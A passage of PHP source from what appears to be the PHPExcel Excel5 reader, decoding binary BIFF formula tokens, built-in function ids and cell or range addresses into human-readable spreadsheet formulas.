{ // start parsing the formula data $tokens = array(); while (strlen($formulaData) > 0 and $token = $this->getNextToken($formulaData, $baseCell)) { $tokens[] = $token; $formulaData = substr($formulaData, $token['size']); // for debug: dump the token //var_dump($token); } $formulaString = $this->createFormulaFromTokens($tokens, $additionalData); return $formulaString; } /** * Take array of tokens together with additional data for formula and return human readable formula * * @param array $tokens * @param array $additionalData Additional binary data going with the formula * @param string $baseCell Base cell, only needed when formula contains tRefN tokens, e.g. with shared formulas * @return string Human readable formula */ private function createFormulaFromTokens($tokens, $additionalData) { // empty formula? if (empty($tokens)) { return ''; } $formulaStrings = array(); foreach ($tokens as $token) { // initialize spaces $space0 = isset($space0) ? $space0 : ''; // spaces before next token, not tParen $space1 = isset($space1) ? $space1 : ''; // carriage returns before next token, not tParen $space2 = isset($space2) ? $space2 : ''; // spaces before opening parenthesis $space3 = isset($space3) ? $space3 : ''; // carriage returns before opening parenthesis $space4 = isset($space4) ? $space4 : ''; // spaces before closing parenthesis $space5 = isset($space5) ? $space5 : ''; // carriage returns before closing parenthesis switch ($token['name']) { case 'tAdd': // addition case 'tConcat': // addition case 'tDiv': // division case 'tEQ': // equality case 'tGE': // greater than or equal case 'tGT': // greater than case 'tIsect': // intersection case 'tLE': // less than or equal case 'tList': // less than or equal case 'tLT': // less than case 'tMul': // multiplication case 'tNE': // multiplication case 'tPower': // power case 'tRange': // range case 'tSub': // subtraction $op2 = array_pop($formulaStrings); $op1 = array_pop($formulaStrings); $formulaStrings[] = "$op1$space1$space0{$token['data']}$op2"; unset($space0, $space1); break; case 'tUplus': // unary plus case 'tUminus': // unary minus $op = array_pop($formulaStrings); $formulaStrings[] = "$space1$space0{$token['data']}$op"; unset($space0, $space1); break; case 'tPercent': // percent sign $op = array_pop($formulaStrings); $formulaStrings[] = "$op$space1$space0{$token['data']}"; unset($space0, $space1); break; case 'tAttrVolatile': // indicates volatile function case 'tAttrIf': case 'tAttrSkip': case 'tAttrChoose': // token is only important for Excel formula evaluator // do nothing break; case 'tAttrSpace': // space / carriage return // space will be used when next token arrives, do not alter formulaString stack switch ($token['data']['spacetype']) { case 'type0': $space0 = str_repeat(' ', $token['data']['spacecount']); break; case 'type1': $space1 = str_repeat("\n", $token['data']['spacecount']); break; case 'type2': $space2 = str_repeat(' ', $token['data']['spacecount']); break; case 'type3': $space3 = str_repeat("\n", $token['data']['spacecount']); break; case 'type4': $space4 = str_repeat(' ', $token['data']['spacecount']); break; case 'type5': $space5 = str_repeat("\n", $token['data']['spacecount']); break; } break; case 'tAttrSum': // SUM function with one parameter $op = array_pop($formulaStrings); $formulaStrings[] = "{$space1}{$space0}SUM($op)"; unset($space0, $space1); break; case 'tFunc': // function with fixed number of arguments case 'tFuncV': // function with variable number of arguments if ($token['data']['function'] != '') { // normal function $ops = array(); // array of operators for ($i = 0; $i < $token['data']['args']; ++$i) { $ops[] = array_pop($formulaStrings); } $ops = array_reverse($ops); $formulaStrings[] = "$space1$space0{$token['data']['function']}(" . implode(',', $ops) . ")"; unset($space0, $space1); } else { // add-in function $ops = array(); // array of operators for ($i = 0; $i < $token['data']['args'] - 1; ++$i) { $ops[] = array_pop($formulaStrings); } $ops = array_reverse($ops); $function = array_pop($formulaStrings); $formulaStrings[] = "$space1$space0$function(" . implode(',', $ops) . ")"; unset($space0, $space1); } break; case 'tParen': // parenthesis $expression = array_pop($formulaStrings); $formulaStrings[] = "$space3$space2($expression$space5$space4)"; unset($space2, $space3, $space4, $space5); break; case 'tArray': // array constant $constantArray = self::readBIFF8ConstantArray($additionalData); $formulaStrings[] = $space1 . $space0 . $constantArray['value']; $additionalData = substr($additionalData, $constantArray['size']); // bite of chunk of additional data unset($space0, $space1); break; case 'tMemArea': // bite off chunk of additional data $cellRangeAddressList = $this->readBIFF8CellRangeAddressList($additionalData); $additionalData = substr($additionalData, $cellRangeAddressList['size']); $formulaStrings[] = "$space1$space0{$token['data']}"; unset($space0, $space1); break; case 'tArea': // cell range address case 'tBool': // boolean case 'tErr': // error code case 'tInt': // integer case 'tMemErr': case 'tMemFunc': case 'tMissArg': case 'tName': case 'tNameX': case 'tNum': // number case 'tRef': // single cell reference case 'tRef3d': // 3d cell reference case 'tArea3d': // 3d cell range reference case 'tRefN': case 'tAreaN': case 'tStr': // string $formulaStrings[] = "$space1$space0{$token['data']}"; unset($space0, $space1); break; } } $formulaString = $formulaStrings[0]; // for debug: dump the human readable formula //echo '----' . "\n"; //echo 'Formula: ' . $formulaString; return $formulaString; } /** * Fetch next token from binary formula data * * @param string Formula data * @param string $baseCell Base cell, only needed when formula contains tRefN tokens, e.g. with shared formulas * @return array * @throws PHPExcel_Reader_Exception */ private function getNextToken($formulaData, $baseCell = 'A1') { // offset: 0; size: 1; token id $id = ord($formulaData[0]); // token id $name = false; // initialize token name switch ($id) { case 0x03: $name = 'tAdd'; $size = 1; $data = '+'; break; case 0x04: $name = 'tSub'; $size = 1; $data = '-'; break; case 0x05: $name = 'tMul'; $size = 1; $data = '*'; break; case 0x06: $name = 'tDiv'; $size = 1; $data = '/'; break; case 0x07: $name = 'tPower'; $size = 1; $data = '^'; break; case 0x08: $name = 'tConcat'; $size = 1; $data = '&'; break; case 0x09: $name = 'tLT'; $size = 1; $data = '<'; break; case 0x0A: $name = 'tLE'; $size = 1; $data = '<='; break; case 0x0B: $name = 'tEQ'; $size = 1; $data = '='; break; case 0x0C: $name = 'tGE'; $size = 1; $data = '>='; break; case 0x0D: $name = 'tGT'; $size = 1; $data = '>'; break; case 0x0E: $name = 'tNE'; $size = 1; $data = '<>'; break; case 0x0F: $name = 'tIsect'; $size = 1; $data = ' '; break; case 0x10: $name = 'tList'; $size = 1; $data = ','; break; case 0x11: $name = 'tRange'; $size = 1; $data = ':'; break; case 0x12: $name = 'tUplus'; $size = 1; $data = '+'; break; case 0x13: $name = 'tUminus'; $size = 1; $data = '-'; break; case 0x14: $name = 'tPercent'; $size = 1; $data = '%'; break; case 0x15: // parenthesis $name = 'tParen'; $size = 1; $data = null; break; case 0x16: // missing argument $name = 'tMissArg'; $size = 1; $data = ''; break; case 0x17: // string $name = 'tStr'; // offset: 1; size: var; Unicode string, 8-bit string length $string = self::readUnicodeStringShort(substr($formulaData, 1)); $size = 1 + $string['size']; $data = self::UTF8toExcelDoubleQuoted($string['value']); break; case 0x19: // Special attribute // offset: 1; size: 1; attribute type flags: switch (ord($formulaData[1])) { case 0x01: $name = 'tAttrVolatile'; $size = 4; $data = null; break; case 0x02: $name = 'tAttrIf'; $size = 4; $data = null; break; case 0x04: $name = 'tAttrChoose'; // offset: 2; size: 2; number of choices in the CHOOSE function ($nc, number of parameters decreased by 1) $nc = self::getInt2d($formulaData, 2); // offset: 4; size: 2 * $nc // offset: 4 + 2 * $nc; size: 2 $size = 2 * $nc + 6; $data = null; break; case 0x08: $name = 'tAttrSkip'; $size = 4; $data = null; break; case 0x10: $name = 'tAttrSum'; $size = 4; $data = null; break; case 0x40: case 0x41: $name = 'tAttrSpace'; $size = 4; // offset: 2; size: 2; space type and position switch (ord($formulaData[2])) { case 0x00: $spacetype = 'type0'; break; case 0x01: $spacetype = 'type1'; break; case 0x02: $spacetype = 'type2'; break; case 0x03: $spacetype = 'type3'; break; case 0x04: $spacetype = 'type4'; break; case 0x05: $spacetype = 'type5'; break; default: throw new PHPExcel_Reader_Exception('Unrecognized space type in tAttrSpace token'); break; } // offset: 3; size: 1; number of inserted spaces/carriage returns $spacecount = ord($formulaData[3]); $data = array('spacetype' => $spacetype, 'spacecount' => $spacecount); break; default: throw new PHPExcel_Reader_Exception('Unrecognized attribute flag in tAttr token'); break; } break; case 0x1C: // error code // offset: 1; size: 1; error code $name = 'tErr'; $size = 2; $data = PHPExcel_Reader_Excel5_ErrorCode::lookup(ord($formulaData[1])); break; case 0x1D: // boolean // offset: 1; size: 1; 0 = false, 1 = true; $name = 'tBool'; $size = 2; $data = ord($formulaData[1]) ? 'TRUE' : 'FALSE'; break; case 0x1E: // integer // offset: 1; size: 2; unsigned 16-bit integer $name = 'tInt'; $size = 3; $data = self::getInt2d($formulaData, 1); break; case 0x1F: // number // offset: 1; size: 8; $name = 'tNum'; $size = 9; $data = self::extractNumber(substr($formulaData, 1)); $data = str_replace(',', '.', (string)$data); // in case non-English locale break; case 0x20: // array constant case 0x40: case 0x60: // offset: 1; size: 7; not used $name = 'tArray'; $size = 8; $data = null; break; case 0x21: // function with fixed number of arguments case 0x41: case 0x61: $name = 'tFunc'; $size = 3; // offset: 1; size: 2; index to built-in sheet function switch (self::getInt2d($formulaData, 1)) { case 2: $function = 'ISNA'; $args = 1; break; case 3: $function = 'ISERROR'; $args = 1; break; case 10: $function = 'NA'; $args = 0; break; case 15: $function = 'SIN'; $args = 1; break; case 16: $function = 'COS'; $args = 1; break; case 17: $function = 'TAN'; $args = 1; break; case 18: $function = 'ATAN'; $args = 1; break; case 19: $function = 'PI'; $args = 0; break; case 20: $function = 'SQRT'; $args = 1; break; case 21: $function = 'EXP'; $args = 1; break; case 22: $function = 'LN'; $args = 1; break; case 23: $function = 'LOG10'; $args = 1; break; case 24: $function = 'ABS'; $args = 1; break; case 25: $function = 'INT'; $args = 1; break; case 26: $function = 'SIGN'; $args = 1; break; case 27: $function = 'ROUND'; $args = 2; break; case 30: $function = 'REPT'; $args = 2; break; case 31: $function = 'MID'; $args = 3; break; case 32: $function = 'LEN'; $args = 1; break; case 33: $function = 'VALUE'; $args = 1; break; case 34: $function = 'TRUE'; $args = 0; break; case 35: $function = 'FALSE'; $args = 0; break; case 38: $function = 'NOT'; $args = 1; break; case 39: $function = 'MOD'; $args = 2; break; case 40: $function = 'DCOUNT'; $args = 3; break; case 41: $function = 'DSUM'; $args = 3; break; case 42: $function = 'DAVERAGE'; $args = 3; break; case 43: $function = 'DMIN'; $args = 3; break; case 44: $function = 'DMAX'; $args = 3; break; case 45: $function = 'DSTDEV'; $args = 3; break; case 48: $function = 'TEXT'; $args = 2; break; case 61: $function = 'MIRR'; $args = 3; break; case 63: $function = 'RAND'; $args = 0; break; case 65: $function = 'DATE'; $args = 3; break; case 66: $function = 'TIME'; $args = 3; break; case 67: $function = 'DAY'; $args = 1; break; case 68: $function = 'MONTH'; $args = 1; break; case 69: $function = 'YEAR'; $args = 1; break; case 71: $function = 'HOUR'; $args = 1; break; case 72: $function = 'MINUTE'; $args = 1; break; case 73: $function = 'SECOND'; $args = 1; break; case 74: $function = 'NOW'; $args = 0; break; case 75: $function = 'AREAS'; $args = 1; break; case 76: $function = 'ROWS'; $args = 1; break; case 77: $function = 'COLUMNS'; $args = 1; break; case 83: $function = 'TRANSPOSE'; $args = 1; break; case 86: $function = 'TYPE'; $args = 1; break; case 97: $function = 'ATAN2'; $args = 2; break; case 98: $function = 'ASIN'; $args = 1; break; case 99: $function = 'ACOS'; $args = 1; break; case 105: $function = 'ISREF'; $args = 1; break; case 111: $function = 'CHAR'; $args = 1; break; case 112: $function = 'LOWER'; $args = 1; break; case 113: $function = 'UPPER'; $args = 1; break; case 114: $function = 'PROPER'; $args = 1; break; case 117: $function = 'EXACT'; $args = 2; break; case 118: $function = 'TRIM'; $args = 1; break; case 119: $function = 'REPLACE'; $args = 4; break; case 121: $function = 'CODE'; $args = 1; break; case 126: $function = 'ISERR'; $args = 1; break; case 127: $function = 'ISTEXT'; $args = 1; break; case 128: $function = 'ISNUMBER'; $args = 1; break; case 129: $function = 'ISBLANK'; $args = 1; break; case 130: $function = 'T'; $args = 1; break; case 131: $function = 'N'; $args = 1; break; case 140: $function = 'DATEVALUE'; $args = 1; break; case 141: $function = 'TIMEVALUE'; $args = 1; break; case 142: $function = 'SLN'; $args = 3; break; case 143: $function = 'SYD'; $args = 4; break; case 162: $function = 'CLEAN'; $args = 1; break; case 163: $function = 'MDETERM'; $args = 1; break; case 164: $function = 'MINVERSE'; $args = 1; break; case 165: $function = 'MMULT'; $args = 2; break; case 184: $function = 'FACT'; $args = 1; break; case 189: $function = 'DPRODUCT'; $args = 3; break; case 190: $function = 'ISNONTEXT'; $args = 1; break; case 195: $function = 'DSTDEVP'; $args = 3; break; case 196: $function = 'DVARP'; $args = 3; break; case 198: $function = 'ISLOGICAL'; $args = 1; break; case 199: $function = 'DCOUNTA'; $args = 3; break; case 207: $function = 'REPLACEB'; $args = 4; break; case 210: $function = 'MIDB'; $args = 3; break; case 211: $function = 'LENB'; $args = 1; break; case 212: $function = 'ROUNDUP'; $args = 2; break; case 213: $function = 'ROUNDDOWN'; $args = 2; break; case 214: $function = 'ASC'; $args = 1; break; case 215: $function = 'DBCS'; $args = 1; break; case 221: $function = 'TODAY'; $args = 0; break; case 229: $function = 'SINH'; $args = 1; break; case 230: $function = 'COSH'; $args = 1; break; case 231: $function = 'TANH'; $args = 1; break; case 232: $function = 'ASINH'; $args = 1; break; case 233: $function = 'ACOSH'; $args = 1; break; case 234: $function = 'ATANH'; $args = 1; break; case 235: $function = 'DGET'; $args = 3; break; case 244: $function = 'INFO'; $args = 1; break; case 252: $function = 'FREQUENCY'; $args = 2; break; case 261: $function = 'ERROR.TYPE'; $args = 1; break; case 271: $function = 'GAMMALN'; $args = 1; break; case 273: $function = 'BINOMDIST'; $args = 4; break; case 274: $function = 'CHIDIST'; $args = 2; break; case 275: $function = 'CHIINV'; $args = 2; break; case 276: $function = 'COMBIN'; $args = 2; break; case 277: $function = 'CONFIDENCE'; $args = 3; break; case 278: $function = 'CRITBINOM'; $args = 3; break; case 279: $function = 'EVEN'; $args = 1; break; case 280: $function = 'EXPONDIST'; $args = 3; break; case 281: $function = 'FDIST'; $args = 3; break; case 282: $function = 'FINV'; $args = 3; break; case 283: $function = 'FISHER'; $args = 1; break; case 284: $function = 'FISHERINV'; $args = 1; break; case 285: $function = 'FLOOR'; $args = 2; break; case 286: $function = 'GAMMADIST'; $args = 4; break; case 287: $function = 'GAMMAINV'; $args = 3; break; case 288: $function = 'CEILING'; $args = 2; break; case 289: $function = 'HYPGEOMDIST'; $args = 4; break; case 290: $function = 'LOGNORMDIST'; $args = 3; break; case 291: $function = 'LOGINV'; $args = 3; break; case 292: $function = 'NEGBINOMDIST'; $args = 3; break; case 293: $function = 'NORMDIST'; $args = 4; break; case 294: $function = 'NORMSDIST'; $args = 1; break; case 295: $function = 'NORMINV'; $args = 3; break; case 296: $function = 'NORMSINV'; $args = 1; break; case 297: $function = 'STANDARDIZE'; $args = 3; break; case 298: $function = 'ODD'; $args = 1; break; case 299: $function = 'PERMUT'; $args = 2; break; case 300: $function = 'POISSON'; $args = 3; break; case 301: $function = 'TDIST'; $args = 3; break; case 302: $function = 'WEIBULL'; $args = 4; break; case 303: $function = 'SUMXMY2'; $args = 2; break; case 304: $function = 'SUMX2MY2'; $args = 2; break; case 305: $function = 'SUMX2PY2'; $args = 2; break; case 306: $function = 'CHITEST'; $args = 2; break; case 307: $function = 'CORREL'; $args = 2; break; case 308: $function = 'COVAR'; $args = 2; break; case 309: $function = 'FORECAST'; $args = 3; break; case 310: $function = 'FTEST'; $args = 2; break; case 311: $function = 'INTERCEPT'; $args = 2; break; case 312: $function = 'PEARSON'; $args = 2; break; case 313: $function = 'RSQ'; $args = 2; break; case 314: $function = 'STEYX'; $args = 2; break; case 315: $function = 'SLOPE'; $args = 2; break; case 316: $function = 'TTEST'; $args = 4; break; case 325: $function = 'LARGE'; $args = 2; break; case 326: $function = 'SMALL'; $args = 2; break; case 327: $function = 'QUARTILE'; $args = 2; break; case 328: $function = 'PERCENTILE'; $args = 2; break; case 331: $function = 'TRIMMEAN'; $args = 2; break; case 332: $function = 'TINV'; $args = 2; break; case 337: $function = 'POWER'; $args = 2; break; case 342: $function = 'RADIANS'; $args = 1; break; case 343: $function = 'DEGREES'; $args = 1; break; case 346: $function = 'COUNTIF'; $args = 2; break; case 347: $function = 'COUNTBLANK'; $args = 1; break; case 350: $function = 'ISPMT'; $args = 4; break; case 351: $function = 'DATEDIF'; $args = 3; break; case 352: $function = 'DATESTRING'; $args = 1; break; case 353: $function = 'NUMBERSTRING'; $args = 2; break; case 360: $function = 'PHONETIC'; $args = 1; break; case 368: $function = 'BAHTTEXT'; $args = 1; break; default: throw new PHPExcel_Reader_Exception('Unrecognized function in formula'); break; } $data = array('function' => $function, 'args' => $args); break; case 0x22: // function with variable number of arguments case 0x42: case 0x62: $name = 'tFuncV'; $size = 4; // offset: 1; size: 1; number of arguments $args = ord($formulaData[1]); // offset: 2: size: 2; index to built-in sheet function $index = self::getInt2d($formulaData, 2); switch ($index) { case 0: $function = 'COUNT'; break; case 1: $function = 'IF'; break; case 4: $function = 'SUM'; break; case 5: $function = 'AVERAGE'; break; case 6: $function = 'MIN'; break; case 7: $function = 'MAX'; break; case 8: $function = 'ROW'; break; case 9: $function = 'COLUMN'; break; case 11: $function = 'NPV'; break; case 12: $function = 'STDEV'; break; case 13: $function = 'DOLLAR'; break; case 14: $function = 'FIXED'; break; case 28: $function = 'LOOKUP'; break; case 29: $function = 'INDEX'; break; case 36: $function = 'AND'; break; case 37: $function = 'OR'; break; case 46: $function = 'VAR'; break; case 49: $function = 'LINEST'; break; case 50: $function = 'TREND'; break; case 51: $function = 'LOGEST'; break; case 52: $function = 'GROWTH'; break; case 56: $function = 'PV'; break; case 57: $function = 'FV'; break; case 58: $function = 'NPER'; break; case 59: $function = 'PMT'; break; case 60: $function = 'RATE'; break; case 62: $function = 'IRR'; break; case 64: $function = 'MATCH'; break; case 70: $function = 'WEEKDAY'; break; case 78: $function = 'OFFSET'; break; case 82: $function = 'SEARCH'; break; case 100: $function = 'CHOOSE'; break; case 101: $function = 'HLOOKUP'; break; case 102: $function = 'VLOOKUP'; break; case 109: $function = 'LOG'; break; case 115: $function = 'LEFT'; break; case 116: $function = 'RIGHT'; break; case 120: $function = 'SUBSTITUTE'; break; case 124: $function = 'FIND'; break; case 125: $function = 'CELL'; break; case 144: $function = 'DDB'; break; case 148: $function = 'INDIRECT'; break; case 167: $function = 'IPMT'; break; case 168: $function = 'PPMT'; break; case 169: $function = 'COUNTA'; break; case 183: $function = 'PRODUCT'; break; case 193: $function = 'STDEVP'; break; case 194: $function = 'VARP'; break; case 197: $function = 'TRUNC'; break; case 204: $function = 'USDOLLAR'; break; case 205: $function = 'FINDB'; break; case 206: $function = 'SEARCHB'; break; case 208: $function = 'LEFTB'; break; case 209: $function = 'RIGHTB'; break; case 216: $function = 'RANK'; break; case 219: $function = 'ADDRESS'; break; case 220: $function = 'DAYS360'; break; case 222: $function = 'VDB'; break; case 227: $function = 'MEDIAN'; break; case 228: $function = 'SUMPRODUCT'; break; case 247: $function = 'DB'; break; case 255: $function = ''; break; case 269: $function = 'AVEDEV'; break; case 270: $function = 'BETADIST'; break; case 272: $function = 'BETAINV'; break; case 317: $function = 'PROB'; break; case 318: $function = 'DEVSQ'; break; case 319: $function = 'GEOMEAN'; break; case 320: $function = 'HARMEAN'; break; case 321: $function = 'SUMSQ'; break; case 322: $function = 'KURT'; break; case 323: $function = 'SKEW'; break; case 324: $function = 'ZTEST'; break; case 329: $function = 'PERCENTRANK'; break; case 330: $function = 'MODE'; break; case 336: $function = 'CONCATENATE'; break; case 344: $function = 'SUBTOTAL'; break; case 345: $function = 'SUMIF'; break; case 354: $function = 'ROMAN'; break; case 358: $function = 'GETPIVOTDATA'; break; case 359: $function = 'HYPERLINK'; break; case 361: $function = 'AVERAGEA'; break; case 362: $function = 'MAXA'; break; case 363: $function = 'MINA'; break; case 364: $function = 'STDEVPA'; break; case 365: $function = 'VARPA'; break; case 366: $function = 'STDEVA'; break; case 367: $function = 'VARA'; break; default: throw new PHPExcel_Reader_Exception('Unrecognized function in formula'); break; } $data = array('function' => $function, 'args' => $args); break; case 0x23: // index to defined name case 0x43: case 0x63: $name = 'tName'; $size = 5; // offset: 1; size: 2; one-based index to definedname record $definedNameIndex = self::getInt2d($formulaData, 1) - 1; // offset: 2; size: 2; not used $data = $this->definedname[$definedNameIndex]['name']; break; case 0x24: // single cell reference e.g. A5 case 0x44: case 0x64: $name = 'tRef'; $size = 5; $data = $this->readBIFF8CellAddress(substr($formulaData, 1, 4)); break; case 0x25: // cell range reference to cells in the same sheet (2d) case 0x45: case 0x65: $name = 'tArea'; $size = 9; $data = $this->readBIFF8CellRangeAddress(substr($formulaData, 1, 8)); break; case 0x26: // Constant reference sub-expression case 0x46: case 0x66: $name = 'tMemArea'; // offset: 1; size: 4; not used // offset: 5; size: 2; size of the following subexpression $subSize = self::getInt2d($formulaData, 5); $size = 7 + $subSize; $data = $this->getFormulaFromData(substr($formulaData, 7, $subSize)); break; case 0x27: // Deleted constant reference sub-expression case 0x47: case 0x67: $name = 'tMemErr'; // offset: 1; size: 4; not used // offset: 5; size: 2; size of the following subexpression $subSize = self::getInt2d($formulaData, 5); $size = 7 + $subSize; $data = $this->getFormulaFromData(substr($formulaData, 7, $subSize)); break; case 0x29: // Variable reference sub-expression case 0x49: case 0x69: $name = 'tMemFunc'; // offset: 1; size: 2; size of the following sub-expression $subSize = self::getInt2d($formulaData, 1); $size = 3 + $subSize; $data = $this->getFormulaFromData(substr($formulaData, 3, $subSize)); break; case 0x2C: // Relative 2d cell reference reference, used in shared formulas and some other places case 0x4C: case 0x6C: $name = 'tRefN'; $size = 5; $data = $this->readBIFF8CellAddressB(substr($formulaData, 1, 4), $baseCell); break; case 0x2D: // Relative 2d range reference case 0x4D: case 0x6D: $name = 'tAreaN'; $size = 9; $data = $this->readBIFF8CellRangeAddressB(substr($formulaData, 1, 8), $baseCell); break; case 0x39: // External name case 0x59: case 0x79: $name = 'tNameX'; $size = 7; // offset: 1; size: 2; index to REF entry in EXTERNSHEET record // offset: 3; size: 2; one-based index to DEFINEDNAME or EXTERNNAME record $index = self::getInt2d($formulaData, 3); // assume index is to EXTERNNAME record $data = $this->externalNames[$index - 1]['name']; // offset: 5; size: 2; not used break; case 0x3A: // 3d reference to cell case 0x5A: case 0x7A: $name = 'tRef3d'; $size = 7; try { // offset: 1; size: 2; index to REF entry $sheetRange = $this->readSheetRangeByRefIndex(self::getInt2d($formulaData, 1)); // offset: 3; size: 4; cell address $cellAddress = $this->readBIFF8CellAddress(substr($formulaData, 3, 4)); $data = "$sheetRange!$cellAddress"; } catch (PHPExcel_Exception $e) { // deleted sheet reference $data = '#REF!'; } break; case 0x3B: // 3d reference to cell range case 0x5B: case 0x7B: $name = 'tArea3d'; $size = 11; try { // offset: 1; size: 2; index to REF entry $sheetRange = $this->readSheetRangeByRefIndex(self::getInt2d($formulaData, 1)); // offset: 3; size: 8; cell address $cellRangeAddress = $this->readBIFF8CellRangeAddress(substr($formulaData, 3, 8)); $data = "$sheetRange!$cellRangeAddress"; } catch (PHPExcel_Exception $e) { // deleted sheet reference $data = '#REF!'; } break; // Unknown cases // don't know how to deal with default: throw new PHPExcel_Reader_Exception('Unrecognized token ' . sprintf('%02X', $id) . ' in formula'); break; } return array( 'id' => $id, 'name' => $name, 'size' => $size, 'data' => $data, ); } /** * Reads a cell address in BIFF8 e.g. 'A2' or '$A$2' * section 3.3.4 * * @param string $cellAddressStructure * @return string */ private function readBIFF8CellAddress($cellAddressStructure) { // offset: 0; size: 2; index to row (0... 65535) (or offset (-32768... 32767)) $row = self::getInt2d($cellAddressStructure, 0) + 1; // offset: 2; size: 2; index to column or column offset + relative flags // bit: 7-0; mask 0x00FF; column index $column = PHPExcel_Cell::stringFromColumnIndex(0x00FF & self::getInt2d($cellAddressStructure, 2)); // bit: 14; mask 0x4000; (1 = relative column index, 0 = absolute column index) if (!(0x4000 & self::getInt2d($cellAddressStructure, 2))) { $column = '$' . $column; } // bit: 15; mask 0x8000; (1 = relative row index, 0 = absolute row index) if (!(0x8000 & self::getInt2d($cellAddressStructure, 2))) { $row = '$' . $row; } return $column . $row; } /** * Reads a cell address in BIFF8 for shared formulas. Uses positive and negative values for row and column * to indicate offsets from a base cell * section 3.3.4 * * @param string $cellAddressStructure * @param string $baseCell Base cell, only needed when formula contains tRefN tokens, e.g. with shared formulas * @return string */ private function readBIFF8CellAddressB($cellAddressStructure, $baseCell = 'A1') { list($baseCol, $baseRow) = PHPExcel_Cell::coordinateFromString($baseCell); $baseCol = PHPExcel_Cell::columnIndexFromString($baseCol) - 1; // offset: 0; size: 2; index to row (0... 65535) (or offset (-32768... 32767)) $rowIndex = self::getInt2d($cellAddressStructure, 0); $row = self::getInt2d($cellAddressStructure, 0) + 1; // offset: 2; size: 2; index to column or column offset + relative flags // bit: 7-0; mask 0x00FF; column index $colIndex = 0x00FF & self::getInt2d($cellAddressStructure, 2); // bit: 14; mask 0x4000; (1 = relative column index, 0 = absolute column index) if (!(0x4000 & self::getInt2d($cellAddressStructure, 2))) { $column = PHPExcel_Cell::stringFromColumnIndex($colIndex); $column = '$' . $column; } else { $colIndex = ($colIndex <= 127) ? $colIndex : $colIndex - 256; $column = PHPExcel_Cell::stringFromColumnIndex($baseCol + $colIndex); } // bit: 15; mask 0x8000; (1 = relative row index, 0 = absolute row index) if (!(0x8000 & self::getInt2d($cellAddressStructure, 2))) { $row = '$' . $row; } else { $rowIndex = ($rowIndex <= 32767) ? $rowIndex : $rowIndex - 65536; $row = $baseRow + $rowIndex; } return $column . $row; } /** * Reads a cell range address in BIFF5 e.g. 'A2:B6' or 'A1' * always fixed range * section 2.5.14 * * @param string $subData * @return string * @throws PHPExcel_Reader_Exception */ private function readBIFF5CellRangeAddressFixed($subData) { // offset: 0; size: 2; index to first row $fr = self::getInt2d($subData, 0) + 1; // offset: 2; size: 2; index to last row $lr = self::getInt2d($subData, 2) + 1; // offset: 4; size: 1; index to first column $fc = ord($subData{4}); // offset: 5; size: 1; index to last column $lc = ord($subData{5}); // check values if ($fr > $lr || $fc > $lc) { throw new PHPExcel_Reader_Exception('Not a cell range address'); } // column index to letter $fc = PHPExcel_Cell::stringFromColumnIndex($fc); $lc = PHPExcel_Cell::stringFromColumnIndex($lc); if ($fr == $lr and $fc == $lc) { return "$fc$fr"; } return "$fc$fr:$lc$lr"; } /** * Reads a cell range address in BIFF8 e.g. 'A2:B6' or 'A1' * always fixed range * section 2.5.14 * * @param string $subData * @return string * @throws PHPExcel_Reader_Exception */ private function readBIFF8CellRangeAddressFixed($subData) { // offset: 0; size: 2; index to first row $fr = self::getInt2d($subData, 0) + 1; // offset: 2; size: 2; index to last row $lr = self::getInt2d($subData, 2) + 1; // offset: 4; size: 2; index to first column $fc = self::getInt2d($subData, 4); // offset: 6; size: 2; index to last column $lc = self::getInt2d($subData, 6); // check values if ($fr > $lr || $fc > $lc) { throw new PHPExcel_Reader_Exception('Not a cell range address'); } // column index to letter $fc = PHPExcel_Cell::stringFromColumnIndex($fc); $lc = PHPExcel_Cell::stringFromColumnIndex($lc); if ($fr == $lr and $fc == $lc) { return "$fc$fr"; } return "$fc$fr:$lc$lr"; } /** * Reads a cell range address in BIFF8 e.g. 'A2:B6' or '$A$2:$B$6' * there are flags indicating whether column/row index is relative * section 3.3.4 * * @param string $subData * @return string */ private function readBIFF8CellRangeAddress($subData) { // todo: if cell range is just a single cell, should this funciton // not just return e.g. 'A1' and not 'A1:A1' ? // offset: 0; size: 2; index to first row (0... 65535) (or offset (-32768... 32767)) $fr = self::getInt2d($subData, 0) + 1; // offset: 2; size: 2; index to last row (0... 65535) (or offset (-32768... 32767)) $lr = self::getInt2d($subData, 2) + 1; // offset: 4; size: 2; index to first column or column offset + relative flags // bit: 7-0; mask 0x00FF; column index $fc = PHPExcel_Cell::stringFromColumnIndex(0x00FF & self::getInt2d($subData, 4)); // bit: 14; mask 0x4000; (1 = relative column index, 0 = absolute column index) if (!(0x4000 & self::getInt2d($subData, 4))) { $fc = '$' . $fc; } // bit: 15; mask 0x8000; (1 = relative row index, 0 = absolute row index) if (!(0x8000 & self::getInt2d($subData, 4))) { $fr = '$' . $fr; } // offset: 6; size: 2; index to last column or column offset + relative flags // bit: 7-0; mask 0x00FF; column index $lc = PHPExcel_Cell::stringFromColumnIndex(0x00FF & self::getInt2d($subData, 6)); // bit: 14; mask 0x4000; (1 = relative column index, 0 = absolute column index) if (!(0x4000 & self::getInt2d($subData, 6))) { $lc = '$' . $lc; } // bit: 15; mask 0x8000; (1 = relative row index, 0 = absolute row index) if (!(0x8000 & self::getInt2d($subData, 6))) { $lr = '$' . $lr; } return "$fc$fr:$lc$lr"; } /** * Reads a cell range address in BIFF8 for shared formulas. Uses positive and negative values for row and column * to indicate offsets from a base cell * section 3.3.4 * * @param string $subData * @param string $baseCell Base cell * @return string Cell range address */ private function readBIFF8CellRangeAddressB($subData, $baseCell = 'A1') { list($baseCol, $baseRow) = PHPExcel_Cell::coordinateFromString($baseCell); $baseCol = PHPExcel_Cell::columnIndexFromString($baseCol) - 1; // TODO: if cell range is just a single cell, should this funciton // not just return e.g. 'A1' and not 'A1:A1' ? // offset: 0; size: 2; first row $frIndex = self::getInt2d($subData, 0); // adjust below // offset: 2; size: 2; relative index to first row (0... 65535) should be treated as offset (-32768... 32767) $lrIndex = self::getInt2d($subData, 2); // adjust below // offset: 4; size: 2; first column with relative/absolute flags // bit: 7-0; mask 0x00FF; column index $fcIndex = 0x00FF & self::getInt2d($subData, 4); // bit: 14; mask 0x4000; (1 = relative column index, 0 = absolute column index) if (!(0x4000 & self::getInt2d($subData, 4))) { // absolute column index $fc = PHPExcel_Cell::stringFromColumnIndex($fcIndex); $fc = '$' . $fc; } else { // column offset $fcIndex = ($fcIndex <= 127) ? $fcIndex : $fcIndex - 256; $fc = PHPExcel_Cell::stringFromColumnIndex($baseCol + $fcIndex); } // bit: 15; mask 0x8000; (1 = relative row index, 0 = absolute row index) if (!(0x8000 & self::getInt2d($subData, 4))) { // absolute row index $fr = $frIndex + 1; $fr = '$' . $fr; } else { // row offset $frIndex = ($frIndex <= 